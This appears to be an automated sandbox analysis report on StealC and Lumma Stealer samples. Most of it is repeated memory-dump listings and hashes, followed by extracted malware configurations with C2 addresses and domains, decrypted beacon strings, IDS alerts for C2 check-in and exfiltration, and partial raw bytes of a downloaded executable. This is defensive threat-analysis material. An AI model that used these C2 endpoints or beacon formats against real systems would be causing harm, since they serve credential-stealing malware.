Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e6025b10e1ddac9b081a6df31cd939e335d443493ae946c22cb8e2f60dbd3a59
Instruction ID: 55ef0511bba26963f445cbe8fd06757f5cabfaca740b72c2f013f07c228b6eb9
Opcode Fuzzy Hash: e6025b10e1ddac9b081a6df31cd939e335d443493ae946c22cb8e2f60dbd3a59
Instruction Fuzzy Hash: 05D0C9B5108309EFE7415F64CCC8BFEBBE8EB18305F40052CEE8581640DA324C50EB1A

Non-executed Functions

Function 0049E803 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa3fd9f1fb2a1ef1039fdc82efa35c29c780fa8603977d97043cb0f4850430f
Instruction ID: e94b351f61dc69ef42fdf5c8f9d3b946f37df6f48a65ee983ce526e1e8ac261d
Opcode Fuzzy Hash: 4fa3fd9f1fb2a1ef1039fdc82efa35c29c780fa8603977d97043cb0f4850430f
Instruction Fuzzy Hash: 0D41A9F360C210AFE305AE59DD4167EF7E9EBC4721F26882EE6C5C3210D63458458B67

Function 0049E142 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction ID: c6928dd7fb404fda468da841de57b8e6fc822b807407dd590e74a4a4c1daf206
Opcode Fuzzy Hash: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction Fuzzy Hash: D141C4B390C7109FE705AF18D8466BABBF4EF85360F16883EEAD483641D6354854CB97

Function 004B425C Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction ID: e7239057c5f942c91109bdaf3d79d33cfb2d1f3807e15eb6280ea5830e75e9f0
Opcode Fuzzy Hash: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction Fuzzy Hash: 6FE04F361041059AD7009F94D84599FFBF5FF59311F218885E484CB722C2764C41C729

Source: VVRXVZ2T118YVIGZN2.exe.6020.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: 20yLTIU4mS.exe.3552.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["grannyejh.lat", "necklacebudi.lat", "energyaffai.lat", "discokeyus.lat", "sustainskelet.lat", "aspecteirs.lat", "sweepyribs.lat", "rapeflowwj.lat", "crosshuaht.lat"], "Build id": "PsFKDg--pablo"}

Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.5:55976 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.5:60398 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:58412 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:59889 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.5:50897 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.5:50516 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.5:52245 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.5:59400 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.5:63582 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49771 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49706 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49714 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49733 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49705 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49727 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49704 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.66.86:443

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 06:15:59 GMTContent-Type: application/octet-streamContent-Length: 2845696Last-Modified: Mon, 23 Dec 2024 06:14:51 GMTConnection: keep-aliveETag: "6768ffdb-2b6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6e 72 78 65 63 62 76 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 61 